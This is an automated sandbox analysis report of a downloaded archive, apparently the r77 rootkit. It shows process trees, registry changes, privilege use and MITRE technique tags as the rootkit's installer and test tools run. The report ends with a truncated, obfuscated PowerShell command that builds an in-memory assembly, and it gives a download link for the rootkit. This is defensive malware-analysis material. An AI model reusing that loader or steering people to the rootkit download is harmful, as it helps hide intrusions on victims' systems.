hxxps://gofile[.]io/d/fUP0xm

Analysis

max time kernel
960s
max time network
965s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
04/06/2024, 15:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://gofile.io/d/fUP0xm

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 7 IoCs

pid	Process
5848	TestConsole.exe
5392	$77-Example.exe
5572	Install.exe
5716	Install.exe
5824	Uninstall.exe
2568	DMYoJiqM.exe
5908	TestConsole.exe

Loads dropped DLL 2 IoCs

pid	Process
5848	TestConsole.exe
5908	TestConsole.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
452	msedge.exe
452	msedge.exe
2616	msedge.exe
2616	msedge.exe
3216	identity_helper.exe
3216	identity_helper.exe
1612	msedge.exe
1612	msedge.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe
5848	TestConsole.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4912	OpenWith.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeRestorePrivilege	5352	7zG.exe
Token: 35	5352	7zG.exe
Token: SeSecurityPrivilege	5352	7zG.exe
Token: SeSecurityPrivilege	5352	7zG.exe
Token: SeDebugPrivilege	5848	TestConsole.exe
Token: SeDebugPrivilege	5848	TestConsole.exe
Token: SeDebugPrivilege	5392	$77-Example.exe
Token: SeDebugPrivilege	5872	powershell.EXE
Token: SeDebugPrivilege	5872	powershell.EXE
Token: SeDebugPrivilege	3232	powershell.EXE
Token: SeDebugPrivilege	3232	powershell.EXE
Token: SeDebugPrivilege	5824	Uninstall.exe
Token: SeDebugPrivilege	2568	DMYoJiqM.exe
Token: SeDebugPrivilege	5908	TestConsole.exe
Token: SeDebugPrivilege	5908	TestConsole.exe

Suspicious use of FindShellTrayWindow 39 IoCs

pid	Process
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
5352	7zG.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe
452	msedge.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
5572	Install.exe
5716	Install.exe
5824	Uninstall.exe
2568	DMYoJiqM.exe
4912	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 452 wrote to memory of 2256	452	msedge.exe	82
PID 452 wrote to memory of 2256	452	msedge.exe	82
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2948	452	msedge.exe	83
PID 452 wrote to memory of 2616	452	msedge.exe	84
PID 452 wrote to memory of 2616	452	msedge.exe	84
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85
PID 452 wrote to memory of 3064	452	msedge.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3772

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://gofile.io/d/fUP0xm
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xd8,0x10c,0x7ffafda846f8,0x7ffafda84708,0x7ffafda84718
  2⤵
  PID:2256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
  2⤵
  PID:2948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2464 /prefetch:8
  2⤵
  PID:3064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
  2⤵
  PID:4696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1
  2⤵
  PID:2044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4644 /prefetch:1
  2⤵
  PID:836
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5180 /prefetch:8
  2⤵
  PID:4384
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5180 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5248 /prefetch:1
  2⤵
  PID:3880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5260 /prefetch:1
  2⤵
  PID:4568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5568 /prefetch:1
  2⤵
  PID:1272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5844 /prefetch:1
  2⤵
  PID:2116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5840 /prefetch:1
  2⤵
  PID:3792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:1
  2⤵
  PID:3224
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4740 /prefetch:8
  2⤵
  PID:1412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5280 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,5441416436177904795,734462002321406655,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2452 /prefetch:2
  2⤵
  PID:3324

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2812

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1480

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4088

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\r77-rootkit-master\" -spe -an -ai#7zMap1470:98:7zEvent8180
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5352

C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\TestConsole\bin\Debug\TestConsole.exe
"C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\TestConsole\bin\Debug\TestConsole.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5848

C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\$Build\$77-Example.exe
"C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\$Build\$77-Example.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5392

C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\$Build\Install.exe
"C:\Users\Admin\Downloads\r77-rootkit-master\r77-rootkit-master\$Build\Install.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5572

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:uQLkVnmKfsCY{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$FIphCoGYrTCgoA,[Parameter(Position=1)][Type]$iWJxjFYMPA)$YnYkxyoxzap=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object 